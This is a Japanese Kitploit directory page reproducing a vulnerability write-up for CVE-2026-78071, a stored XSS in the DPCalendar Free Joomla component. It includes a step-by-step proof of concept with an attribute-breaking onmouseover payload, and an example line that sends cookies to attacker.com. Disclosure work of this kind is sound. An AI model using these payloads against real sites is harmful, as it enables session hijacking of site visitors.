Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-78071 — DPCalendar FreeのLocation Title経由の格納型XSS | Kitploit
ツール/GitHubGitHub/toanln-cov/cve-2026-78071
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ
GitHubtoanln-cov/cve-2026-78071

CVE-2026-78071

DPCalendar FreeのLocation Title経由の格納型XSS

リポジトリを見る
11時間41分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

DPCalendar Free のロケーションタイトルを介した格納型XSS

DPCalendar Free ≤ 10.11.2 — Authorロールのユーザーがコンテンツレビューを迂回し、ロケーションタイトルを介して永続的XSSを注入。任意の訪問者がホバーした際に発動

CVE CVSS CWE-79 Affected Researcher


概要

$location->title フィールドは、default_locations.php 内で htmlspecialchars() を使用せずにレンダリングされます。Joomla のサーバーサイド InputFilter::clean() は文字列フィールドから < と を除去しますが、 は許可するため、AuthorロールのユーザーがHTML属性コンテキストから抜け出すことが可能です。訪問者がイベントページのロケーション情報セクションにカーソルを合わせると、注入された ハンドラがそのブラウザセッション内で任意のJavaScriptを実行します。

>
"
onmouseover

2つ目の設計上の欠陥が影響を増幅させます。EventController::allowEdit() は created_by == current_user のみをチェックし、イベントの公開状態をチェックしません。Authorは無害なイベントを作成し、管理者に公開させた後、公開後にリンクされたロケーションのタイトルを編集して静かに悪用し、コンテンツレビューを完全に迂回できます。XSSペイロードはモデレーション後に挿入されるため、管理者はレビューサイクル中にそれを確認することはありません。


影響を受けるバージョン

コンポーネント脆弱性ありテスト環境修正済み
DPCalendar Free≤ 10.11.2Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache)10.12.0

脆弱性の詳細

種別: 格納型クロスサイトスクリプティング / 不適切な出力エンコーディング (CWE-79) 必要な認証: Authorロール — フロントエンドユーザー (Joomla グループ 4、イベント作成に必要な最小権限) ファイル: site/tmpl/event/default_locations.php

根本原因

$location->title は、default_locations.php 内の2つの出力コンテキストで htmlspecialchars() を使用せずに直接エコーされます。属性コンテキストがWeb UIを介して悪用可能なシンクであり、Joomla の InputFilter は <> をブロックしますが、" はそのまま通過させます。

DEFAULT_LOCATIONS.PHP — 脆弱な出力シンク

root@kitploit:~
// シンク 1 — テキストコンテンツ (HTMLインジェクション; <> はWeb UI経由でInputFilterにより除去)
<span class="dp-location__title"><?php echo $location->title; ?></span>

// シンク 2 — HTML属性 (属性インジェクション; " はInputFilterを通過)
<div class="dp-location__details"
     data-title="<?php echo $location->title; ?>"

New Location" onmouseover="alert(document.domain) というタイトル値はサーバーによってそのまま保存されます。出力時に、シンク 2 は次のようにレンダリングされます:

root@kitploit:~
<div class="dp-location__details"
     data-title="New Location" onmouseover="alert(document.domain)"

onmouseover 属性は、レンダリングされたDOM内で有効なイベントハンドラになります。

公開状態チェックの欠如

EventController::allowEdit() は、公開状態に関係なく、Author自身のイベントに対する編集アクセスを許可します。攻撃者は、通常のイベントを管理者のレビューに提出して信頼を確立し、管理者による公開後に、リンクされたロケーションを静かに編集してXSSペイロードを注入します:

SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() に状態チェックがない

root@kitploit:~
protected function allowEdit($data = [], $key = 'id')
{
    // ...
    return $calendar instanceof CalendarInterface &&
           ($calendar->canEdit() ||
            ($calendar->canEditOwn() &&
             $event->created_by == $this->getCurrentUser()->id));
    // ↑ $event->state のチェックなし — 公開済みイベントもAuthorによる編集が可能
}

概念実証

1. Authorロールのユーザーとしてログイン

フロントエンドのログインフォームに移動し、Authorアカウント (Joomla グループ 4 — イベントとロケーションの作成に必要な最小権限) でログインします。

ステップ 1 — Authorとしてログイン

2. 正当なロケーションを持つ通常のイベントを作成

/index.php?option=com_dpcalendar&view=form に移動します。クリーンなタイトルでイベントを作成し、既存のロケーション (例: 「Greater London」) を添付します。これにより、ペイロードが導入される前にAuthorの正当性が確立されます。

ステップ 2 — 無害なイベントフォームを作成

ステップ 3 — 保存前に正当なロケーションを添付

3. 管理者がイベントを公開するのを待つ

イベントはレビューのために提出されます。管理者がログインし、DPCalendar バックエンドから公開します。イベントは公開され、すべてのサイト訪問者に表示されます。

ステップ 4 — 管理者がイベントを公開

4. 公開されたイベントに戻り、ロケーションを編集用に開く

Authorとして、公開されたイベントページに移動します。イベントの編集 ボタンは表示されたままです — allowEdit() は公開状態をチェックしません。イベントの編集 をクリックし、ロケーション タブに移動して、鉛筆アイコンをクリックして locationform を開きます。

ステップ 5 — 管理者の公開後も編集アイコンが利用可能

5. XSSペイロードをロケーションタイトルフィールドに注入

ロケーション名をペイロードに置き換えます。Joomla の InputFilter は " を通過させるため、ペイロードはそのまま保存され、出力時にHTML属性コンテキストを破壊します:

ペイロード — タイトルフィールド (LOCATIONFORM)

root@kitploit:~
New Location" onmouseover="alert(document.domain)

ステップ 6 — ロケーションタイトルフィールドにXSSペイロードを注入

保存 をクリックします。

6. イベントページへの訪問者はホバー時にXSSが発動

認証済みユーザーか匿名ユーザーかを問わず、イベント詳細ページにアクセスしてロケーション情報セクションにカーソルを移動すると、注入された onmouseover ハンドラが即座に発動します。ページへのアクセス以外に、認証、クリック、追加の操作は不要です。

ステップ 7 — ホバー時にXSSが発動

生のペイロードはイベントページのロケーションセクションに表示されます — エスケープされていないタイトルが有効なHTML属性としてレンダリングされます:

ステップ 8 — DOM内にエスケープされていないペイロードが表示されたイベントページ

ロケーションセクションにカーソルを合わせると、匿名訪問者のブラウザでアラートダイアログが発動します:

ステップ 9 — 匿名訪問者に対して発動したXSSアラートダイアログ


影響

  1. セッションハイジャック — 注入されたハンドラは、fetch('//attacker.com/?c='+document.cookie) を介して被害者のセッションCookieを外部に送信でき、イベントを閲覧する任意のロールに対して完全なアカウント乗っ取りを可能にします。

  2. 永続的でイベントスコープの攻撃対象領域 — ペイロードはロケーションタイトルが手動で修正されるまで永続化します。イベントページにアクセスするすべてのユーザー (匿名訪問者を含む) が影響を受けます。トラフィックの多いイベント (公開カンファレンス、予約ページ) では被害者数が増幅されます。

  3. 公開後の信頼バイパス — Authorは管理者の承認後にロケーションを静かに変更できるため、ペイロードがコンテンツレビュー中に確認されることはありません。無害なイベントはモデレーションを通過し、XSSはその後挿入されます。


参考情報

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78071
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78071
  • GitHub Advisory: https://github.com/advisories/GHSA-32gf-548r-6r9c
  • ベンダーリポジトリ: https://github.com/Digital-Peak/DPCalendar-Free
ツールをダウンロード